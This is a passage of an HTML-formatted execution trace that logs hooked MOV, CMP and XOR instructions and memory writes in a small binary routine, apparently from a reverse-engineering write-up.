class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x44</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010015c7: mov esi, <span class="number">0</span>xe</span><br><span class="line"><span class="selector-attr">[XOR @0x10015db]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010015e1: cmp esi, <span class="number">0</span>x1d</span><br><span class="line"><span class="selector-attr">[XOR @0x10015db]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10015db]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10015db]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10015db]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10015db]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10015db]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10015db]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10015db]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10015db]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10015db]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10015db]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10015db]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10015db]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10015db]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x2E</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01001597: mov esi, <span class="number">0</span>x19</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x0100159c: mov esi, <span class="number">0</span>x2f</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010015b2: cmp esi, <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x1D</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000a21: mov esi, <span class="number">0</span>x2</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a35]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000a3b: cmp esi, <span class="number">0</span>x5</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a35]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a35]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x5E</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010014b2: mov esi, <span class="number">0</span>x17</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010014b7: mov esi, <span class="number">0</span>x2f</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010014cd: cmp esi, <span class="number">0</span>x2f</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x21</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01001540: mov esi, <span class="number">0</span>x11</span><br><span class="line"><span class="selector-attr">[XOR @0x1001554]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x0100155a: cmp esi, <span class="number">0</span>x23</span><br><span class="line"><span class="selector-attr">[XOR @0x1001554]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001554]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001554]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001554]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001554]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001554]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001554]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001554]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001554]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001554]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1001554]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001554]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001554]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001554]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001554]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001554]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001554]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x47</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000cd6: mov esi, <span class="number">0</span>x28</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000cf0: cmp esi, <span class="number">0</span>x51</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span 